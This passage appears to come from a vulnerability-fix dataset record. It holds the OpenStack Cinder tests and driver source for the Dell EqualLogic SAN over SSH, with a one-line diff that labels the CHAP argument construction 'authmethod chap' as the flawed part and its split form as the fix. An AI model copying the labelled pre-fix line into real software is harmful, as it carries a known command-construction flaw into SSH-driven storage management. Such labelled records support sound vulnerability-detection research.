self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) snapshot={'name': 'fakesnap', 'volume_name': 'fakevolume_name'} volume={'name': self.volume_name} self.driver._eql_execute('volume', 'select', snapshot['volume_name'], 'snapshot', 'select', snapshot['name'], 'clone', volume['name']).\\ AndReturn(['iSCSI target name is %s.' % self.fake_iqn]) self.mox.ReplayAll() model_update=self.driver.create_volume_from_snapshot(volume, snapshot) self.assertEqual(model_update, self._model_update) def test_create_cloned_volume(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) src_vref={'id': 'fake_uuid'} volume={'name': self.volume_name} src_volume_name=self.configuration.\\ volume_name_template % src_vref['id'] self.driver._eql_execute('volume', 'select', src_volume_name, 'clone', volume['name']).\\ AndReturn(['iSCSI target name is %s.' % self.fake_iqn]) self.mox.ReplayAll() model_update=self.driver.create_cloned_volume(volume, src_vref) self.assertEqual(model_update, self._model_update) def test_delete_snapshot(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) snapshot={'name': 'fakesnap', 'volume_name': 'fakevolume_name'} self.driver._eql_execute('volume', 'select', snapshot['volume_name'], 'snapshot', 'delete', snapshot['name']) self.mox.ReplayAll() self.driver.delete_snapshot(snapshot) def test_extend_volume(self): new_size='200' self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) volume={'name': self.volume_name, 'size': 100} self.driver._eql_execute('volume', 'select', volume['name'], 'size', \"%sG\" % new_size) self.mox.ReplayAll() self.driver.extend_volume(volume, new_size) def test_initialize_connection(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) volume={'name': self.volume_name} self.stubs.Set(self.driver, \"_get_iscsi_properties\", self._fake_get_iscsi_properties) self.driver._eql_execute('volume', 'select', volume['name'], 'access', 'create', 'initiator', self.connector['initiator'], 'authmethod chap', 'username', self.configuration.eqlx_chap_login) self.mox.ReplayAll() iscsi_properties=self.driver.initialize_connection(volume, self.connector) self.assertEqual(iscsi_properties['data'], self._fake_get_iscsi_properties(volume)) def test_terminate_connection(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) volume={'name': self.volume_name} self.driver._eql_execute('volume', 'select', volume['name'], 'access', 'delete', '1') self.mox.ReplayAll() self.driver.terminate_connection(volume, self.connector) def test_do_setup(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) fake_group_ip='10.1.2.3' for feature in('confirmation', 'paging', 'events', 'formatoutput'): self.driver._eql_execute('cli-settings', feature, 'off') self.driver._eql_execute('grpparams', 'show').\\ AndReturn(['Group-Ipaddress: %s' % fake_group_ip]) self.mox.ReplayAll() self.driver.do_setup(self._context) self.assertEqual(fake_group_ip, self.driver._group_ip) def test_update_volume_stats(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) self.driver._eql_execute('pool', 'select', self.configuration.eqlx_pool, 'show').\\ AndReturn(['TotalCapacity: 111GB', 'FreeSpace: 11GB']) self.mox.ReplayAll() self.driver._update_volume_stats() self.assertEqual(self.driver._stats['total_capacity_gb'], 111.0) self.assertEqual(self.driver._stats['free_capacity_gb'], 11.0) def test_get_volume_stats(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) self.driver._eql_execute('pool', 'select', self.configuration.eqlx_pool, 'show').\\ AndReturn(['TotalCapacity: 111GB', 'FreeSpace: 11GB']) self.mox.ReplayAll() stats=self.driver.get_volume_stats(refresh=True) self.assertEqual(stats['total_capacity_gb'], float('111.0')) self.assertEqual(stats['free_capacity_gb'], float('11.0')) self.assertEqual(stats['vendor_name'], 'Dell') def test_get_space_in_gb(self): self.assertEqual(self.driver._get_space_in_gb('123.0GB'), 123.0) self.assertEqual(self.driver._get_space_in_gb('123.0TB'), 123.0 * 1024) self.assertEqual(self.driver._get_space_in_gb('1024.0MB'), 1.0) def test_get_output(self): def _fake_recv(ignore_arg): return '%s> ' % self.configuration.eqlx_group_name chan=self.mox.CreateMock(paramiko.Channel) self.stubs.Set(chan, \"recv\", _fake_recv) self.assertEqual(self.driver._get_output(chan),[_fake_recv(None)]) def test_get_prefixed_value(self): lines=['Line1 passed', 'Line1 failed'] prefix=['Line1', 'Line2'] expected_output=[' passed', None] self.assertEqual(self.driver._get_prefixed_value(lines, prefix[0]), expected_output[0]) self.assertEqual(self.driver._get_prefixed_value(lines, prefix[1]), expected_output[1]) def test_ssh_execute(self): ssh=self.mox.CreateMock(paramiko.SSHClient) chan=self.mox.CreateMock(paramiko.Channel) transport=self.mox.CreateMock(paramiko.Transport) self.mox.StubOutWithMock(self.driver, '_get_output') self.mox.StubOutWithMock(chan, 'invoke_shell') expected_output=['NoError: test run'] ssh.get_transport().AndReturn(transport) transport.open_session().AndReturn(chan) chan.invoke_shell() self.driver._get_output(chan).AndReturn(expected_output) cmd='this is dummy command' chan.send('stty columns 255' +'\\r') self.driver._get_output(chan).AndReturn(expected_output) chan.send(cmd +'\\r') self.driver._get_output(chan).AndReturn(expected_output) chan.close() self.mox.ReplayAll() self.assertEqual(self.driver._ssh_execute(ssh, cmd), expected_output) def test_ssh_execute_error(self): ssh=self.mox.CreateMock(paramiko.SSHClient) chan=self.mox.CreateMock(paramiko.Channel) transport=self.mox.CreateMock(paramiko.Transport) self.mox.StubOutWithMock(self.driver, '_get_output') self.mox.StubOutWithMock(ssh, 'get_transport') self.mox.StubOutWithMock(chan, 'invoke_shell') expected_output=['Error: test run', '% Error'] ssh.get_transport().AndReturn(transport) transport.open_session().AndReturn(chan) chan.invoke_shell() self.driver._get_output(chan).AndReturn(expected_output) cmd='this is dummy command' chan.send('stty columns 255' +'\\r') self.driver._get_output(chan).AndReturn(expected_output) chan.send(cmd +'\\r') self.driver._get_output(chan).AndReturn(expected_output) chan.close() self.mox.ReplayAll() self.assertRaises(processutils.ProcessExecutionError, self.driver._ssh_execute, ssh, cmd) def test_with_timeout(self): @eqlx.with_timeout def no_timeout(cmd, *args, **kwargs): return 'no timeout' @eqlx.with_timeout def w_timeout(cmd, *args, **kwargs): time.sleep(1) self.assertEqual(no_timeout('fake cmd'), 'no timeout') self.assertRaises(exception.VolumeBackendAPIException, w_timeout, 'fake cmd', timeout=0.1) def test_local_path(self): self.assertRaises(NotImplementedError, self.driver.local_path, '') ", "sourceWithComments": "# Copyright (c) 2013 Dell Inc.\n# Copyright 2013 OpenStack LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport time\n\nimport mox\nimport paramiko\n\nfrom cinder import context\nfrom cinder import exception\nfrom cinder.openstack.common import log as logging\nfrom cinder.openstack.common import processutils\nfrom cinder import test\nfrom cinder.volume import configuration as conf\nfrom cinder.volume.drivers import eqlx\n\n\nLOG = logging.getLogger(__name__)\n\n\nclass DellEQLSanISCSIDriverTestCase(test.TestCase):\n\n def setUp(self):\n super(DellEQLSanISCSIDriverTestCase, self).setUp()\n self.configuration = mox.MockObject(conf.Configuration)\n self.configuration.append_config_values(mox.IgnoreArg())\n self.configuration.san_is_local = False\n self.configuration.san_ip = \"10.0.0.1\"\n self.configuration.san_login = \"foo\"\n self.configuration.san_password = \"bar\"\n self.configuration.san_ssh_port = 16022\n self.configuration.san_thin_provision = True\n self.configuration.eqlx_pool = 'non-default'\n self.configuration.eqlx_use_chap = True\n self.configuration.eqlx_group_name = 'group-0'\n self.configuration.eqlx_cli_timeout = 30\n self.configuration.eqlx_cli_max_retries = 5\n self.configuration.eqlx_chap_login = 'admin'\n self.configuration.eqlx_chap_password = 'password'\n self.configuration.volume_name_template = 'volume_%s'\n self._context = context.get_admin_context()\n self.driver = eqlx.DellEQLSanISCSIDriver(\n configuration=self.configuration)\n self.volume_name = \"fakevolume\"\n self.volid = \"fakeid\"\n self.connector = {'ip': '10.0.0.2',\n 'initiator': 'iqn.1993-08.org.debian:01:222',\n 'host': 'fakehost'}\n self.fake_iqn = 'iqn.2003-10.com.equallogic:group01:25366:fakev'\n self.driver._group_ip = '10.0.1.6'\n self.properties = {\n 'target_discoverd': True,\n 'target_portal': '%s:3260' % self.driver._group_ip,\n 'target_iqn': self.fake_iqn,\n 'volume_id': 1}\n self._model_update = {\n 'provider_location': \"%s:3260,1 %s 0\" % (self.driver._group_ip,\n self.fake_iqn),\n 'provider_auth': 'CHAP %s %s' % (\n self.configuration.eqlx_chap_login,\n self.configuration.eqlx_chap_password)\n }\n\n def _fake_get_iscsi_properties(self, volume):\n return self.properties\n\n def test_create_volume(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n volume = {'name': self.volume_name, 'size': 1}\n self.driver._eql_execute('volume', 'create', volume['name'],\n \"%sG\" % (volume['size']), 'pool',\n self.configuration.eqlx_pool,\n 'thin-provision').\\\n AndReturn(['iSCSI target name is %s.' % self.fake_iqn])\n self.mox.ReplayAll()\n model_update = self.driver.create_volume(volume)\n self.assertEqual(model_update, self._model_update)\n\n def test_delete_volume(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n volume = {'name': self.volume_name, 'size': 1}\n self.driver._eql_execute('volume', 'select', volume['name'], 'show')\n self.driver._eql_execute('volume', 'select', volume['name'], 'offline')\n self.driver._eql_execute('volume', 'delete', volume['name'])\n self.mox.ReplayAll()\n self.driver.delete_volume(volume)\n\n def test_delete_absent_volume(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n volume = {'name': self.volume_name, 'size': 1, 'id': self.volid}\n self.driver._eql_execute('volume', 'select', volume['name'], 'show').\\\n AndRaise(processutils.ProcessExecutionError(\n stdout='% Error ..... does not exist.\\n'))\n self.mox.ReplayAll()\n self.driver.delete_volume(volume)\n\n def test_ensure_export(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n volume = {'name': self.volume_name, 'size': 1}\n self.driver._eql_execute('volume', 'select', volume['name'], 'show')\n self.mox.ReplayAll()\n self.driver.ensure_export({}, volume)\n\n def test_create_snapshot(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n snapshot = {'name': 'fakesnap', 'volume_name': 'fakevolume_name'}\n snap_name = 'fake_snap_name'\n self.driver._eql_execute('volume', 'select', snapshot['volume_name'],\n 'snapshot', 'create-now').\\\n AndReturn(['Snapshot name is %s' % snap_name])\n self.driver._eql_execute('volume', 'select', snapshot['volume_name'],\n 'snapshot', 'rename', snap_name,\n snapshot['name'])\n self.mox.ReplayAll()\n self.driver.create_snapshot(snapshot)\n\n def test_create_volume_from_snapshot(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n snapshot = {'name': 'fakesnap', 'volume_name': 'fakevolume_name'}\n volume = {'name': self.volume_name}\n self.driver._eql_execute('volume', 'select', snapshot['volume_name'],\n 'snapshot', 'select', snapshot['name'],\n 'clone', volume['name']).\\\n AndReturn(['iSCSI target name is %s.' % self.fake_iqn])\n self.mox.ReplayAll()\n model_update = self.driver.create_volume_from_snapshot(volume,\n snapshot)\n self.assertEqual(model_update, self._model_update)\n\n def test_create_cloned_volume(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n src_vref = {'id': 'fake_uuid'}\n volume = {'name': self.volume_name}\n src_volume_name = self.configuration.\\\n volume_name_template % src_vref['id']\n self.driver._eql_execute('volume', 'select', src_volume_name, 'clone',\n volume['name']).\\\n AndReturn(['iSCSI target name is %s.' % self.fake_iqn])\n self.mox.ReplayAll()\n model_update = self.driver.create_cloned_volume(volume, src_vref)\n self.assertEqual(model_update, self._model_update)\n\n def test_delete_snapshot(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n snapshot = {'name': 'fakesnap', 'volume_name': 'fakevolume_name'}\n self.driver._eql_execute('volume', 'select', snapshot['volume_name'],\n 'snapshot', 'delete', snapshot['name'])\n self.mox.ReplayAll()\n self.driver.delete_snapshot(snapshot)\n\n def test_extend_volume(self):\n new_size = '200'\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n volume = {'name': self.volume_name, 'size': 100}\n self.driver._eql_execute('volume', 'select', volume['name'],\n 'size', \"%sG\" % new_size)\n self.mox.ReplayAll()\n self.driver.extend_volume(volume, new_size)\n\n def test_initialize_connection(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n volume = {'name': self.volume_name}\n self.stubs.Set(self.driver, \"_get_iscsi_properties\",\n self._fake_get_iscsi_properties)\n self.driver._eql_execute('volume', 'select', volume['name'], 'access',\n 'create', 'initiator',\n self.connector['initiator'],\n 'authmethod chap',\n 'username',\n self.configuration.eqlx_chap_login)\n self.mox.ReplayAll()\n iscsi_properties = self.driver.initialize_connection(volume,\n self.connector)\n self.assertEqual(iscsi_properties['data'],\n self._fake_get_iscsi_properties(volume))\n\n def test_terminate_connection(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n volume = {'name': self.volume_name}\n self.driver._eql_execute('volume', 'select', volume['name'], 'access',\n 'delete', '1')\n self.mox.ReplayAll()\n self.driver.terminate_connection(volume, self.connector)\n\n def test_do_setup(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n fake_group_ip = '10.1.2.3'\n for feature in ('confirmation', 'paging', 'events', 'formatoutput'):\n self.driver._eql_execute('cli-settings', feature, 'off')\n self.driver._eql_execute('grpparams', 'show').\\\n AndReturn(['Group-Ipaddress: %s' % fake_group_ip])\n self.mox.ReplayAll()\n self.driver.do_setup(self._context)\n self.assertEqual(fake_group_ip, self.driver._group_ip)\n\n def test_update_volume_stats(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n self.driver._eql_execute('pool', 'select',\n self.configuration.eqlx_pool, 'show').\\\n AndReturn(['TotalCapacity: 111GB', 'FreeSpace: 11GB'])\n self.mox.ReplayAll()\n self.driver._update_volume_stats()\n self.assertEqual(self.driver._stats['total_capacity_gb'], 111.0)\n self.assertEqual(self.driver._stats['free_capacity_gb'], 11.0)\n\n def test_get_volume_stats(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n self.driver._eql_execute('pool', 'select',\n self.configuration.eqlx_pool, 'show').\\\n AndReturn(['TotalCapacity: 111GB', 'FreeSpace: 11GB'])\n self.mox.ReplayAll()\n stats = self.driver.get_volume_stats(refresh=True)\n self.assertEqual(stats['total_capacity_gb'], float('111.0'))\n self.assertEqual(stats['free_capacity_gb'], float('11.0'))\n self.assertEqual(stats['vendor_name'], 'Dell')\n\n def test_get_space_in_gb(self):\n self.assertEqual(self.driver._get_space_in_gb('123.0GB'), 123.0)\n self.assertEqual(self.driver._get_space_in_gb('123.0TB'), 123.0 * 1024)\n self.assertEqual(self.driver._get_space_in_gb('1024.0MB'), 1.0)\n\n def test_get_output(self):\n\n def _fake_recv(ignore_arg):\n return '%s> ' % self.configuration.eqlx_group_name\n\n chan = self.mox.CreateMock(paramiko.Channel)\n self.stubs.Set(chan, \"recv\", _fake_recv)\n self.assertEqual(self.driver._get_output(chan), [_fake_recv(None)])\n\n def test_get_prefixed_value(self):\n lines = ['Line1 passed', 'Line1 failed']\n prefix = ['Line1', 'Line2']\n expected_output = [' passed', None]\n self.assertEqual(self.driver._get_prefixed_value(lines, prefix[0]),\n expected_output[0])\n self.assertEqual(self.driver._get_prefixed_value(lines, prefix[1]),\n expected_output[1])\n\n def test_ssh_execute(self):\n ssh = self.mox.CreateMock(paramiko.SSHClient)\n chan = self.mox.CreateMock(paramiko.Channel)\n transport = self.mox.CreateMock(paramiko.Transport)\n self.mox.StubOutWithMock(self.driver, '_get_output')\n self.mox.StubOutWithMock(chan, 'invoke_shell')\n expected_output = ['NoError: test run']\n ssh.get_transport().AndReturn(transport)\n transport.open_session().AndReturn(chan)\n chan.invoke_shell()\n self.driver._get_output(chan).AndReturn(expected_output)\n cmd = 'this is dummy command'\n chan.send('stty columns 255' + '\\r')\n self.driver._get_output(chan).AndReturn(expected_output)\n chan.send(cmd + '\\r')\n self.driver._get_output(chan).AndReturn(expected_output)\n chan.close()\n self.mox.ReplayAll()\n self.assertEqual(self.driver._ssh_execute(ssh, cmd), expected_output)\n\n def test_ssh_execute_error(self):\n ssh = self.mox.CreateMock(paramiko.SSHClient)\n chan = self.mox.CreateMock(paramiko.Channel)\n transport = self.mox.CreateMock(paramiko.Transport)\n self.mox.StubOutWithMock(self.driver, '_get_output')\n self.mox.StubOutWithMock(ssh, 'get_transport')\n self.mox.StubOutWithMock(chan, 'invoke_shell')\n expected_output = ['Error: test run', '% Error']\n ssh.get_transport().AndReturn(transport)\n transport.open_session().AndReturn(chan)\n chan.invoke_shell()\n self.driver._get_output(chan).AndReturn(expected_output)\n cmd = 'this is dummy command'\n chan.send('stty columns 255' + '\\r')\n self.driver._get_output(chan).AndReturn(expected_output)\n chan.send(cmd + '\\r')\n self.driver._get_output(chan).AndReturn(expected_output)\n chan.close()\n self.mox.ReplayAll()\n self.assertRaises(processutils.ProcessExecutionError,\n self.driver._ssh_execute, ssh, cmd)\n\n def test_with_timeout(self):\n @eqlx.with_timeout\n def no_timeout(cmd, *args, **kwargs):\n return 'no timeout'\n\n @eqlx.with_timeout\n def w_timeout(cmd, *args, **kwargs):\n time.sleep(1)\n\n self.assertEqual(no_timeout('fake cmd'), 'no timeout')\n self.assertRaises(exception.VolumeBackendAPIException,\n w_timeout, 'fake cmd', timeout=0.1)\n\n def test_local_path(self):\n self.assertRaises(NotImplementedError, self.driver.local_path, '')\n"}, "/cinder/volume/drivers/eqlx.py": {"changes": [{"diff": "\n cmd = ['volume', 'select', volume['name'], 'access', 'create',\n 'initiator', connector['initiator']]\n if self.configuration.eqlx_use_chap:\n- cmd.extend(['authmethod chap', 'username',\n+ cmd.extend(['authmethod', 'chap', 'username',\n self.configuration.eqlx_chap_login])\n self._eql_execute(*cmd)\n iscsi_properties = self._get_iscsi_properties(volume)\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/eqlx.py", "badparts": [" cmd.extend(['authmethod chap', 'username',"], "goodparts": [" cmd.extend(['authmethod', 'chap', 'username',"]}], "source": "\n \"\"\"Volume driver for Dell EqualLogic Storage.\"\"\" import functools import random import eventlet from eventlet import greenthread import greenlet from oslo.config import cfg from cinder import exception from cinder.openstack.common import excutils from cinder.openstack.common import log as logging from cinder.openstack.common import processutils from cinder import utils from cinder.volume.drivers.san import SanISCSIDriver LOG=logging.getLogger(__name__) eqlx_opts=[ cfg.StrOpt('eqlx_group_name', default='group-0', help='Group name to use for creating volumes'), cfg.IntOpt('eqlx_cli_timeout', default=30, help='Timeout for the Group Manager cli command execution'), cfg.IntOpt('eqlx_cli_max_retries', default=5, help='Maximum retry count for reconnection'), cfg.BoolOpt('eqlx_use_chap', default=False, help='Use CHAP authentication for targets?'), cfg.StrOpt('eqlx_chap_login', default='admin', help='Existing CHAP account name'), cfg.StrOpt('eqlx_chap_password', default='password', help='Password for specified CHAP account name', secret=True), cfg.StrOpt('eqlx_pool', default='default', help='Pool in which volumes will be created') ] CONF=cfg.CONF CONF.register_opts(eqlx_opts) def with_timeout(f): @functools.wraps(f) def __inner(self, *args, **kwargs): timeout=kwargs.pop('timeout', None) gt=eventlet.spawn(f, self, *args, **kwargs) if timeout is None: return gt.wait() else: kill_thread=eventlet.spawn_after(timeout, gt.kill) try: res=gt.wait() except greenlet.GreenletExit: raise exception.VolumeBackendAPIException( data=\"Command timed out\") else: kill_thread.cancel() return res return __inner class DellEQLSanISCSIDriver(SanISCSIDriver): \"\"\"Implements commands for Dell EqualLogic SAN ISCSI management. To enable the driver add the following line to the cinder configuration: volume_driver=cinder.volume.drivers.eqlx.DellEQLSanISCSIDriver Driver's prerequisites are: -a separate volume group set up and running on the SAN -SSH access to the SAN -a special user must be created which must be able to -create/delete volumes and snapshots; -clone snapshots into volumes; -modify volume access records; The access credentials to the SAN are provided by means of the following flags san_ip= san_login= san_password= san_private_key= Thin provision of volumes is enabled by default, to disable it use: san_thin_provision=false In order to use target CHAP authentication(which is disabled by default) SAN administrator must create a local CHAP user and specify the following flags for the driver: eqlx_use_chap=true eqlx_chap_login= eqlx_chap_password= eqlx_group_name parameter actually represents the CLI prompt message without '>' ending. E.g. if prompt looks like 'group-0>', then the parameter must be set to 'group-0' Also, the default CLI command execution timeout is 30 secs. Adjustable by eqlx_cli_timeout= \"\"\" VERSION=\"1.0.0\" def __init__(self, *args, **kwargs): super(DellEQLSanISCSIDriver, self).__init__(*args, **kwargs) self.configuration.append_config_values(eqlx_opts) self._group_ip=None self.sshpool=None def _get_output(self, chan): out='' ending='%s> ' % self.configuration.eqlx_group_name while not out.endswith(ending): out +=chan.recv(102400) LOG.debug(_(\"CLI output\\n%s\"), out) return out.splitlines() def _get_prefixed_value(self, lines, prefix): for line in lines: if line.startswith(prefix): return line[len(prefix):] return @with_timeout def _ssh_execute(self, ssh, command, *arg, **kwargs): transport=ssh.get_transport() chan=transport.open_session() chan.invoke_shell() LOG.debug(_(\"Reading CLI MOTD\")) self._get_output(chan) cmd='stty columns 255' LOG.debug(_(\"Setting CLI terminal width: '%s'\"), cmd) chan.send(cmd +'\\r') out=self._get_output(chan) LOG.debug(_(\"Sending CLI command: '%s'\"), command) chan.send(command +'\\r') out=self._get_output(chan) chan.close() if any(line.startswith(('% Error', 'Error:')) for line in out): desc=_(\"Error executing EQL command\") cmdout='\\n'.join(out) LOG.error(cmdout) raise processutils.ProcessExecutionError( stdout=cmdout, cmd=command, description=desc) return out def _run_ssh(self, cmd_list, attempts=1): utils.check_ssh_injection(cmd_list) command=' '. join(cmd_list) if not self.sshpool: password=self.configuration.san_password privatekey=self.configuration.san_private_key min_size=self.configuration.ssh_min_pool_conn max_size=self.configuration.ssh_max_pool_conn self.sshpool=utils.SSHPool(self.configuration.san_ip, self.configuration.san_ssh_port, self.configuration.ssh_conn_timeout, self.configuration.san_login, password=password, privatekey=privatekey, min_size=min_size, max_size=max_size) try: total_attempts=attempts with self.sshpool.item() as ssh: while attempts > 0: attempts -=1 try: LOG.info(_('EQL-driver: executing \"%s\"') % command) return self._ssh_execute( ssh, command, timeout=self.configuration.eqlx_cli_timeout) except processutils.ProcessExecutionError: raise except Exception as e: LOG.exception(e) greenthread.sleep(random.randint(20, 500) / 100.0) msg=(_(\"SSH Command failed after '%(total_attempts)r' \" \"attempts: '%(command)s'\") % {'total_attempts': total_attempts, 'command': command}) raise exception.VolumeBackendAPIException(data=msg) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_(\"Error running SSH command: %s\") % command) def _eql_execute(self, *args, **kwargs): return self._run_ssh( args, attempts=self.configuration.eqlx_cli_max_retries) def _get_volume_data(self, lines): prefix='iSCSI target name is ' target_name=self._get_prefixed_value(lines, prefix)[:-1] lun_id=\"%s:%s,1 %s 0\" %(self._group_ip, '3260', target_name) model_update={} model_update['provider_location']=lun_id if self.configuration.eqlx_use_chap: model_update['provider_auth']='CHAP %s %s' % \\ (self.configuration.eqlx_chap_login, self.configuration.eqlx_chap_password) return model_update def _get_space_in_gb(self, val): scale=1.0 part='GB' if val.endswith('MB'): scale=1.0 / 1024 part='MB' elif val.endswith('TB'): scale=1.0 * 1024 part='TB' return scale * float(val.partition(part)[0]) def _update_volume_stats(self): \"\"\"Retrieve stats info from eqlx group.\"\"\" LOG.debug(_(\"Updating volume stats\")) data={} backend_name=\"eqlx\" if self.configuration: backend_name=self.configuration.safe_get('volume_backend_name') data[\"volume_backend_name\"]=backend_name or 'eqlx' data[\"vendor_name\"]='Dell' data[\"driver_version\"]=self.VERSION data[\"storage_protocol\"]='iSCSI' data['reserved_percentage']=0 data['QoS_support']=False data['total_capacity_gb']='infinite' data['free_capacity_gb']='infinite' for line in self._eql_execute('pool', 'select', self.configuration.eqlx_pool, 'show'): if line.startswith('TotalCapacity:'): out_tup=line.rstrip().partition(' ') data['total_capacity_gb']=self._get_space_in_gb(out_tup[-1]) if line.startswith('FreeSpace:'): out_tup=line.rstrip().partition(' ') data['free_capacity_gb']=self._get_space_in_gb(out_tup[-1]) self._stats=data def _check_volume(self, volume): \"\"\"Check if the volume exists on the Array.\"\"\" command=['volume', 'select', volume['name'], 'show'] try: self._eql_execute(*command) except processutils.ProcessExecutionError as err: with excutils.save_and_reraise_exception(): if err.stdout.find('does not exist.\\n') > -1: LOG.debug(_('Volume %s does not exist, ' 'it may have already been deleted'), volume['name']) raise exception.VolumeNotFound(volume_id=volume['id']) def do_setup(self, context): \"\"\"Disable cli confirmation and tune output format.\"\"\" try: disabled_cli_features=('confirmation', 'paging', 'events', 'formatoutput') for feature in disabled_cli_features: self._eql_execute('cli-settings', feature, 'off') for line in self._eql_execute('grpparams', 'show'): if line.startswith('Group-Ipaddress:'): out_tup=line.rstrip().partition(' ') self._group_ip=out_tup[-1] LOG.info(_(\"EQL-driver: Setup is complete, group IP is %s\"), self._group_ip) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to setup the Dell EqualLogic driver')) def create_volume(self, volume): \"\"\"Create a volume.\"\"\" try: cmd=['volume', 'create', volume['name'], \"%sG\" %(volume['size'])] if self.configuration.eqlx_pool !='default': cmd.append('pool') cmd.append(self.configuration.eqlx_pool) if self.configuration.san_thin_provision: cmd.append('thin-provision') out=self._eql_execute(*cmd) return self._get_volume_data(out) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to create volume %s'), volume['name']) def delete_volume(self, volume): \"\"\"Delete a volume.\"\"\" try: self._check_volume(volume) self._eql_execute('volume', 'select', volume['name'], 'offline') self._eql_execute('volume', 'delete', volume['name']) except exception.VolumeNotFound: LOG.warn(_('Volume %s was not found while trying to delete it'), volume['name']) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to delete volume %s'), volume['name']) def create_snapshot(self, snapshot): \"\"\"\"Create snapshot of existing volume on appliance.\"\"\" try: out=self._eql_execute('volume', 'select', snapshot['volume_name'], 'snapshot', 'create-now') prefix='Snapshot name is ' snap_name=self._get_prefixed_value(out, prefix) self._eql_execute('volume', 'select', snapshot['volume_name'], 'snapshot', 'rename', snap_name, snapshot['name']) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to create snapshot of volume %s'), snapshot['volume_name']) def create_volume_from_snapshot(self, volume, snapshot): \"\"\"Create new volume from other volume's snapshot on appliance.\"\"\" try: out=self._eql_execute('volume', 'select', snapshot['volume_name'], 'snapshot', 'select', snapshot['name'], 'clone', volume['name']) return self._get_volume_data(out) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to create volume from snapshot %s'), snapshot['name']) def create_cloned_volume(self, volume, src_vref): \"\"\"Creates a clone of the specified volume.\"\"\" try: src_volume_name=self.configuration.\\ volume_name_template % src_vref['id'] out=self._eql_execute('volume', 'select', src_volume_name, 'clone', volume['name']) return self._get_volume_data(out) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to create clone of volume %s'), volume['name']) def delete_snapshot(self, snapshot): \"\"\"Delete volume's snapshot.\"\"\" try: self._eql_execute('volume', 'select', snapshot['volume_name'], 'snapshot', 'delete', snapshot['name']) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to delete snapshot %(snap)s of ' 'volume %(vol)s'), {'snap': snapshot['name'], 'vol': snapshot['volume_name']}) def initialize_connection(self, volume, connector): \"\"\"Restrict access to a volume.\"\"\" try: cmd=['volume', 'select', volume['name'], 'access', 'create', 'initiator', connector['initiator']] if self.configuration.eqlx_use_chap: cmd.extend(['authmethod chap', 'username', self.configuration.eqlx_chap_login]) self._eql_execute(*cmd) iscsi_properties=self._get_iscsi_properties(volume) return{ 'driver_volume_type': 'iscsi', 'data': iscsi_properties } except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to initialize connection to volume %s'), volume['name']) def terminate_connection(self, volume, connector, force=False, **kwargs): \"\"\"Remove access restrictions from a volume.\"\"\" try: self._eql_execute('volume', 'select', volume['name'], 'access', 'delete', '1') except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to terminate connection to volume %s'), volume['name']) def create_export(self, context, volume): \"\"\"Create an export of a volume. Driver has nothing to do here for the volume has been exported already by the SAN, right after it's creation. \"\"\" pass def ensure_export(self, context, volume): \"\"\"Ensure an export of a volume. Driver has nothing to do here for the volume has been exported already by the SAN, right after it's creation. We will just make sure that the volume exists on the array and issue a warning. \"\"\" try: self._check_volume(volume) except exception.VolumeNotFound: LOG.warn(_('Volume %s is not found!, it may have been deleted'), volume['name']) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to ensure export of volume %s'), volume['name']) def remove_export(self, context, volume): \"\"\"Remove an export of a volume. Driver has nothing to do here for the volume has been exported already by the SAN, right after it's creation. Nothing to remove since there's nothing exported. \"\"\" pass def extend_volume(self, volume, new_size): \"\"\"Extend the size of the volume.\"\"\" try: self._eql_execute('volume', 'select', volume['name'], 'size', \"%sG\" % new_size) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to extend_volume %(name)s from ' '%(current_size)sGB to %(new_size)sGB'), {'name': volume['name'], 'current_size': volume['size'], 'new_size': new_size}) def local_path(self, volume): raise NotImplementedError() ", "sourceWithComments": "# Copyright (c) 2013 Dell Inc.\n# Copyright 2013 OpenStack LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in 